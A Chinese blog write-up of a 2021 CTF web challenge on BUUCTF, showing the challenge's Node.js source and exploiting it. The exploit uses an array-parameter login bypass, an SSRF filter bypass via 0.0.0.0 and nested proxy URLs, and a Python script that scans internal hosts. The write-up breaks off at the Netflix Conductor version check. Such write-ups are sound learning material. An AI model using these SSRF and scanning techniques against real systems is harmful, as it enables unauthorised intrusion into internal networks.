HCTF INTERNAL SYSTEM 复现

摘要

2021 HCTF WEB HCTF INTERNAL SYSTEM 复现(失而复得的 MD)

题目已上线 [BUUCTF](https://buuoj.cn/challenges#[虎符CTF 2021]Internal System)

打开环境,直接是一个登陆页面:

image-20210408105740937

随便测试一下,这里看到,如果密码错误,还会返回登陆页面,并且登陆信息是通过 GET 请求上传的:

image-20210408110109705

测试无果,查看源代码,发现注释:

image-20210408110630322

进入/source, 发现 nodejs 代码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151

const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))

const port = process.env.PORT || 3000

function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response)
} else {
return response
}
}

function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')

return isIp(host) && IP.isPublic(host)
}

function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) {
return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]

router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.redirect('/index')
}
})

router.get('/login', (req, res, next) => {
const {username, password} = req.query;

if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))

req.session.admin = hash === adminHash

res.redirect('/index')
}
})

router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())})
}
})

router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
const url = decodeURI(req.query.url);

console.log(url)

const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})

router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})


router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}

const result = {title: 'Search Success', content: ''}

const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body

try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}

return res.json(result)
})

router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "index.js");
})

router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})

module.exports = router

目前对 nodejs 知之甚少,于是先慢慢看这段代码。

url.parse()函数返回一个 url 对象:

image-20210408115418326

好了,重新回到题目,从/login下手

image-20210411160418182 image-20210408120222411

要想进入/index页面,账号密码符合的条件是:账号密码都存在账号密码不相同长度也不相同,并且账户名不能是 字符串admin.

感谢诸位大佬, 一个新知识点出现了。在 js 中:

1
'admin' + ['admin'] == 'adminadmin'
image-20210411160005438

所以观察 adminHash 的构造,可以很容易的绕过登录判断:

1
2
username = ['admin']
salt + username == salt + 'admin'

于是就可以构造 payload:

1
http://94bc9026-2036-4ad9-b9ba-bea8f7bcc17a.node3.buuoj.cn/login?username[]=admin&password=admin
image-20210412015634106

成功登录!!!

观察一下 /index 是什么鬼东西。这里的 URL 搜索框提交的数据直接去 /proxy 来进行处理,有 post 和 get 两种方法。

image-20210412021926266

观察一下 post 方法的处理过程,不难发现无论提交了什么样的 url 最后的代理请求 url 都会变成 http://127.0.0.1:3000/search?url=https://postman-echo.com/post,所以这里其实是没有操作空间的,因此只能寄希望于 get 请求。

当向 /proxy 发送了 get 请求后,后台首先判断你是不是 admin,只能 admin 才能提交请求。然后后端会解析提交的 url 值,对这个 url 进行三次 waf 检测,只有全部通过才能继续接下来的操作。

image-20210412022525722

对于 SSRF_WAF 函数,首先将要搜索的 url 中的 hostname 提取出来,然后删掉所有的方括号(我猜是为了防止使用 MAC 地址?)。举个例子,如果说 url=http://127.0.0.2:9080/api/xxx,那么最后的结果就是 host = 127.0.0.2 。然后如果 host 是 IP 地址 并且不是内网地址,才能返回 true

对于 FLAG_WAF 函数,会检测 url 的 pathname,对于上一段的例子 pathname 就是 /api/xxx,如果 pathname 不是以 /flag 开头就返回 true

最后一个 OTHER_WAF 函数,存在意义不大哈哈哈

就这三个 waf 如果全部通过,才能执行后续代码。

如果检测全部通过,我们提交的 url 会转发到 /search 页面,也就是http://127.0.0.1:3000/search?url=${url},那么接下来再看看 /search 的代码。

image-20210412024236255

ummmmm,首先检测发起请求的 IP,必须得从内网 127.0.0.1 来发起请求才能继续执行代码,所以我们直接访问这个页面是无效的:

image-20210412024423472

接下来,常规解析url 参数。然后对请求方式进行判断,如果对/search 发起的是 post 请求,那么后台就会同样用 post 的方式去请求我们要的 url,同样的如果是 get 请求,那么后台就会同样用 get 的方式去请求我们要的 url 。回到 /index 页面的代码,发现我们对 /proxy 发起了 post 请求,那么/search 发起的也是 post 请求,对 /proxy 发起了 get 请求,那么/search 发起的就是 get 请求。BUT 显然 post 对我们毫无用处,因此 和 post 请求有关的代码都不用看。

随后后台会直接访问由 /proxy 转发来的 url 地址,并把得到的响应展示出来。

比方说我来搜索我自己服务器IP地址:

image-20210412025450019

得到了正确的响应,和直接浏览器里访问一模一样:

image-20210412025556309

当然如果搜索像 http://127.0.0.1/ , http://127.0.0.1/flag 这样的地址是肯定要被 waf 的。

but 目标很明确我们得去/flag页面,因为那有 hint:

image-20210412030003608

同样的,这里也必须是内网来访问。

思考一下,前面的 waf 好像有漏洞,如果参数 url 来个套娃,其实waf是检测不到套娃里有没有内网地址或者flag的

但是又出现了新问题:如果要实现套娃来获得 /flag 的内容,必要条件是对 /proxy 发起的搜索 url 必须是以 内网地址开头,但显然内网 ip 会被 waf。

在实际应用中,一般我们在服务端绑定端口的时候可以选择绑定到 0.0.0.0,这样我的服务访问方就可以通过我的多个ip地址访问我的服务

而 isPublic(“0.0.0.0”) //true

所以直接可以搜索 http://0.0.0.0:3000 ,这样子就成功绕过了 内网waf 检测:

image-20210412031816847

于是我们就可以去访问有内网限制的地址了,直接构造 http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag

image-20210412032209500

成功获得了 /flag 中的 hint,然而并没有 flag…

hint 是 内网里还有个 Netflix 服务器。

那么下一步我们要找到服务器在内网的地址。想起来刚刚登陆成功的时候,显示了几行字没有用上:

image-20210413103758179

忙猜应该是在 10.0.130.8 ~ 10.0.130.24 或者是 10.128.0.99 ~ 10.128.0.99,这得扫描一波。但是并不知道具体端口号,就很烦。

去网上看了些 Netflix 的安装教程,发现 Netflix 默认安装在 8080 端口,那么就写个脚本试试吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

login = "http://3c04bee4-a46a-495f-ab54-0b66e43c16d1.node3.buuoj.cn/login?username[]=admin&password=admin"
url = "http://3c04bee4-a46a-495f-ab54-0b66e43c16d1.node3.buuoj.cn/proxy?url="

targe1 = "http://0.0.0.0:3000/search?url=http://10.0.130."
targe2 = "http://0.0.0.0:3000/search?url=http://10.128.0."
session = requests.session()
res = session.get(url=login)
# print(res.text)

for i in range(9, 25):
t = url + targe1 + str(i) + ":8080"
r = session.get(url=t)
if "Error" not in r.text:
print(url + targe1 + str(i))

for i in range(16, 100):
t = url + targe2 + str(i) + ":8080"
r = session.get(url=t)
if "Error" not in r.text:
print(url + targe2 + str(i))

image-20210413104224974

找到了找到了,Netflix 服务器再 10.0.130.14

image-20210413104337349

这就是 Netflix 的文档页。

下一步应该是查看版本,经过了解,版本号应该是藏在/api/admin/config

那就去看看:

image-20210413105003647

版本2.26.0

去看了下网上的

参考文章:
参考链接


HCTF INTERNAL SYSTEM 复现
https://wujunyi792.github.io/2021/04/08/HCTF-INTERNAL-SYSTEM-复现/
作者
Wujunyi
发布于
2021年4月8日
许可协议